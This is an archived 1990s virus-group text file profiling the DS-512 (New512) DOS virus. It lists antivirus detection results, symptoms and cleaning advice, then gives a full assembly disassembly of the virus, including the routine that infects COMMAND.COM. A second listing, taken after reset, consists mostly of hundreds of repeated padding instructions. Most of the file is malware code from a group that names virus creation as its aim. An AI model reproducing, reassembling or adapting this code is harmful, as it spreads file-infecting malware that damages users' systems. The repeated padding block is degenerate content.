💾 Archived View for spam.works › mirrors › textfiles › virus › avcr-01.002 captured on 2023-06-16 at 21:01:00.
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Distributed By Amateur Virus Creation & Research Group (AVCR)
Researched by Th? Patron
?????????????????????????????????????????????????????????????????????????????
Name: The DS-512(New512) Virus
-----------------------------------------------------------------------------
Alias: NEW512
-----------------------------------------------------------------------------
Type of Code: Non-Memory Resident ; Targets COMMAND.COM \ Boot sector
-----------------------------------------------------------------------------
Antivirus Detection:
(1)
ThunderByte Anti Virus (TBAV) reported NEW512.COM as: "Infected by DS-512
virus."
"No checksum / recovery information available."
"The program traps the loading of software. Might be a virus that inter-
cepts program load to infect the software."
"Undocumented interrupt/DOS call. The program might be just trickey
but can also be a virus using a non-standard way to detect itself."
"EXE/COM determination. The program tries to check whether a file is
a COM or EXE file. Viruses need to do this to infect a program."
"Found code that can be used to overwrite/move a program in memory."
(2)
Frisk Software's F-Protect (F-PROT) reported NEW512.COM as: "contains
unusual code, which is normally only found in viruses."
(3)
McAfee Softwares Anti Virus (SCAN.EXE) did not detect the DS-512 virus.
(4)
MicroSoft Anti Virus (MSAV.EXE) did not detect the DS-512 virus.
-----------------------------------------------------------------------------
Execution Results:
When executed the DS-512 sends a beep to your speaker and
displays the text: "This is New 512 Virus .........!!!" The computer's
speed is drastically reduced, due to the hard disk being used WILDLY!
The virus's Checksum is changed from 00DC to 0015. Below are the
disassembled DS-512 virus BEFORE execution and AFTER the computer has
been reset! Interestingly, when the computer is reset a third time the
checksum changes back from 0015 to 00DC and so does the virus's code, so
the third(+) time the computer is reset the DS-512 virus's code is the
same as BEFORE execution.
-----------------------------------------------------------------------------
Cleaning Recommendations:
To clean the DS-512 virus we recommend replacing infected files, and
replacing the boot sector (use the SYS command).
-----------------------------------------------------------------------------
Researcher's Notes:
None
-----------------------------------------------------------------------------
Disassembly of the DS-512 Virus BEFORE Execution
-----------------------------------------------------------------------------
PAGE 60,132
data_ff = 0FFh
data_205 = 205h
data_209 = 209h
;?????????? CODE_SEG_1 ????????????????????????????????????????????????????????
CODE_SEG_1 segment para public
assume CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1
org 100h
;???????????????????????????????????????????????????????????????????????????????
;?
;? ENTRY POINT
;?
;???????????????????????????????????????????????????????????????????????????????
;???????????????????????????????????????????????????????????????????????????????
;?
;? PROCEDURE proc_start
;?
;???????????????????????????????????????????????????????????????????????????????
proc_start proc far
start: ; N-Ref=0
jmp loc_2
dw 758Bh, 30h, 0B8h, 0CD4Ch
var1_10b db '!This is New 512 Virus .........!!!'
db 7, 24h, 0B4h, 9, 0BAh, 0Ch
db 1, 0CDh, 21h
db 11 dup (0)
loc_1: ; N-Ref=0
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
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loc_2: ; N-Ref=2
mov DI,offset var1_100
mov SI,Word Ptr [DI+5]
add SI,DI
mov CX,7
push DS
push DI
cld ; Clear direction flag
push CX
push SI
repz movsb ; Repeat if ZF = 1, CX > 0
; Move byte from DS:SI to ES:DI
xchg CX,AX
pop DI
pop CX
repz stosb ; Repeat if ZF = 1, CX > 0
; Store AL at ES:DI
pop DI
push DI
mov CH,8Ch
mov ES,CX
;???????????????????????????????????????????????????????????????????????????????
assume ES:nothing
;???????????????????????????????????????????????????????????????????????????????
call near ptr proc_1
proc_start endp
;???????????????????????????????????????????????????????????????????????????????
;?
;? PROCEDURE proc_1
;?
;???????????????????????????????????????????????????????????????????????????????
proc_1 proc far
pop SI
sub SI,+20h
nop ; 1 Fixup
mov CX,200h
mov DX,132h
push CX
push SI
push ES
push DX
repz movsb ; Repeat if ZF = 1, CX > 0
; Move byte from DS:SI to ES:DI
retf ; Return FAR
proc_1 endp
dw 595Fh, 71Eh, 1F0Eh, 0AAF3h
dw 13CDh, 8E06h, 0BFC1h, 4Ch
dw 0ACB8h, 2601h, 587h, 0A8A3h
dw 8C01h, 26C8h, 4587h, 0A302h
dw 1AAh, 19B8h, 2602h, 4587h
dw 0A338h, 215h, 0C88Ch, 8726h
dw 3A45h, 17A3h, 2602h, 5DC5h
dw 8175h, 903Fh, 7590h, 8B05h
dw 85Fh, 1FC5h, 25B9h, offset loc_2
db 0D9h
loop_loc_3: ; N-Ref=2
inc BX
cmp Word Ptr [BX],0FC80h
jne loc_4 ; Jump if not equal ( != )
mov AX,BX
loc_4: ; N-Ref=1
loop loop_loc_3 ; Loop if CX > 0
mov DI,1C8h
stosw ; Store AX at ES:DI
mov AX,DS
stosw ; Store AX at ES:DI
mov AH,4Bh ; 'K'
mov DX,2F1h
push CS
pop DS
int 21h ; DOS func ( ah ) = 4Bh
; EXEC: Load/execute program
;AL-subfnc DS:DX-ASCIIZ string
; ES:BX-ptr to cntl block
;AX-ret code
pop DS
;???????????????????????????????????????????????????????????????????????????????
assume DS:nothing
;???????????????????????????????????????????????????????????????????????????????
push DS
pop ES
pop DI
push DI
cmp Word Ptr [DI],5A4Dh
jne loc_5 ; Jump if not equal ( != )
mov AH,4Ch ; 'L'
int 21h ; DOS func ( ah ) = 4Ch
; Terminate process
;AL-ret code
loc_5: ; N-Ref=1
retf ; Return FAR
dw 0EA9Dh, 5C0h, 0C9E3h, 2E9Ch
dw 3E80h, 0FFh, 7500h, 80F1h
dw 2FCh, 0EC75h, 0FF2Eh, 0A81Eh
dw 9C01h, 0F72h, 1E60h, 0B591h
dw 0E800h, 0Bh, 0C780h, 0E202h
dw 1FF8h, 9D61h, 2CAh, 6000h
dw 1F06h, 7F81h, 8B03h, 7575h
dw 800Eh, 0E93Fh, 0B74h, 0B9h
dw 0C602h, 7, 0E243h, 61FAh
db 0C3h
loc_6: ; N-Ref=0
mov DI,BX
mov SI,Word Ptr [DI+5]
add SI,DI
mov CL,7
cld ; Clear direction flag
repz movsb ; Repeat if ZF = 1, CX > 0
; Move byte from DS:SI to ES:DI
mov CL,7
dec SI
mov Byte Ptr [SI],CH
loop loc_notfound ; Loop if CX > 0
dw 0C361h, 0FDE9h, 8B01h, 3075h
db 0
loc_7: ; N-Ref=1
mov Byte Ptr DS:data_ff,0
pop ES
pop DS
dw 9D61h, 9EEAh, 2310h, 9C01h
dw 0FC80h, 754Bh, 60F4h, 61Eh
dw 2B8h, 0CD3Dh, 0E72h, 721Fh
dw 0FEE0h, 0FF06h, 9300h, 2B8h
dw 3342h, 33C9h, 0CDD2h, 0B72h
dw 75D2h, 0B82Bh, 4200h, 0C933h
dw 72CDh, 3FB4h, 4B5h, 0BAh
dw 8B03h, 0CDF2h, 3B72h, 75C1h
dw 8115h, 37Ch, 758Bh, 0E74h
db 0FCh, 83h, 0C6h, 7, 0B9h, 0F3h
db 1
loop_loc_8: ; N-Ref=2
lodsb ; Load byte at DS:SI to AL
or AL,AL
je loc_9 ; Jump if equal ( = )
loop loop_loc_8 ; Loop if CX > 0
jmp short loc_12
loc_9: ; N-Ref=1
dw 0B960h, 6, 0AACh, 75C0h
dw 0E20Dh, 61F9h, 0EE81h, 301h
dw 3689h, 209h, 3EBh, 0EB61h
dw 0BAE3h, 200h
loc_10: ; N-Ref=2
mov SI,500h
mov CX,200h
loop_loc_11: ; N-Ref=1
cmp Byte Ptr [SI],DL
jne loc_13 ; Jump if not equal ( != )
inc SI
loop loop_loc_11 ; Loop if CX > 0
mov AX,4200h
int 72h
sub AX,3
mov Word Ptr DS:data_205,AX
mov AH,40h ; '@'
mov CX,200h
inc DH
int 72h
cmp AX,CX
jne loc_14 ; Jump if not equal ( != )
mov AX,4200h
xor CX,CX
mov DX,Word Ptr DS:data_209
int 72h
mov AH,40h ; '@'
mov CL,7
mov DX,offset loc_2
int 72h
cmp AX,CX
jne loc_14 ; Jump if not equal ( != )
mov AX,4200h
xor CX,CX
xor DX,DX
int 72h
mov AH,40h ; '@'
mov CL,7
mov DX,204h
int 72h
loc_12: ; N-Ref=1
jmp short loc_14
loc_13: ; N-Ref=1
add DH,2
push DX
mov AH,3Fh ; '?'
mov CX,200h
mov DX,500h
int 72h
cmp AX,CX
pop DX
je loc_10 ; Jump if equal ( = )
loc_14: ; N-Ref=3
mov AH,3Eh ; '>'
int 72h
jmp loc_7
var1_4f1 db '\COMMAND.COM'
db 0
var1_4fe db 44h, 53h
CODE_SEG_1 ends
end start
-----------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Disassembly of the DS-512 Virus AFTER It Was Executed
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
-----------------------------------------------------------------------------
PAGE 60,132
;?????????? CODE_SEG_1 ????????????????????????????????????????????????????????
CODE_SEG_1 segment para public
assume CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1
org 100h
;???????????????????????????????????????????????????????????????????????????????
;?
;? ENTRY POINT
;?
;???????????????????????????????????????????????????????????????????????????????
;???????????????????????????????????????????????????????????????????????????????
;?
;? PROCEDURE proc_start
;?
;???????????????????????????????????????????????????????????????????????????????
proc_start proc far
start: ; N-Ref=0
mov AH,9
mov DX,offset var1_10c
int 21h ; DOS func ( ah ) = 9
; Display string
;DS:DX-output string
mov AX,4C00h
int 21h ; DOS func ( ah ) = 4Ch
; Terminate process
;AL-ret code
proc_start endp
var1_10c db 'This is New 512 Virus .........!!!'
db 7, 24h
db 18 dup (0)
loc_1: ; N-Ref=0
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
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add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
add Byte Ptr [BX+SI],AL
CODE_SEG_1 ends
end start
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